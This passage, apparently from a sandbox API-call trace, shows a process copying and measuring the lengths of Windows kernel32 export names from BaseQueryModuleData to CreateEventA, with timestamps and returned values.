lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0131.641] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0131.641] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0131.641] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0131.641] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0131.641] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0131.641] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0131.641] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0131.641] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0131.641] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0131.641] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0131.642] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0131.642] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0131.642] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0131.642] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0131.642] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0131.642] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0131.642] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0131.642] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0131.642] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0131.642] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0131.642] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0131.642] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0131.642] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0131.642] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0131.642] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0131.642] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0131.642] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0131.642] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0131.642] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0131.642] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0131.643] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0131.643] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0131.643] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0131.643] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0131.643] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0131.643] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0131.643] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0131.643] lstrlenA (lpString="BEEP") returned 4 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0131.643] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0131.643] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0131.643] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0131.643] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0131.643] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0131.643] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0131.643] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0131.643] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0131.643] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0131.643] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0131.643] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0131.643] lstrlenA (lpString="CANCELIO") returned 8 [0131.643] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0131.644] lstrlenA (lpString="CANCELIOEX") returned 10 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0131.644] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0131.644] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0131.644] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0131.644] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0131.644] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0131.644] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0131.644] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0131.644] lstrlenA (lpString="CHECKELEVATION") returned 14 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0131.644] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0131.644] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0131.644] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0131.644] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0131.644] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0131.644] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0131.644] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0131.644] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0131.644] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0131.644] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0131.645] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0131.645] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0131.645] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0131.645] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0131.645] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0131.645] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0131.645] lstrlenA (lpString="CLOSESTATE") returned 10 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0131.645] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0131.645] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0131.645] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0131.645] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0131.645] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0131.645] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0131.645] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0131.645] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0131.645] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0131.645] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0131.646] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0131.646] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0131.646] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0131.646] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0131.646] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0131.646] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0131.646] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0131.646] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0131.646] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0131.646] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0131.646] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0131.646] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0131.646] lstrlenA (lpString="COPYCONTEXT") returned 11 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0131.646] lstrlenA (lpString="COPYFILE2") returned 9 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0131.646] lstrlenA (lpString="COPYFILEA") returned 9 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0131.646] lstrlenA (lpString="COPYFILEEXA") returned 11 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0131.646] lstrlenA (lpString="COPYFILEEXW") returned 11 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0131.646] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0131.646] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0131.646] lstrlenA (lpString="COPYFILEW") returned 9 [0131.646] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0131.646] lstrlenA (lpString="COPYLZFILE") returned 10 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0131.647] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0131.647] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0131.647] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0131.647] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0131.647] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0131.647] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0131.647] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0131.647] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0131.647] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0131.647] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0131.647] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0131.647] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0131.647] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0131.647] lstrlenA (lpString="CREATEEVENTA") returned 12 [0131.647] lstrcpyA (in: 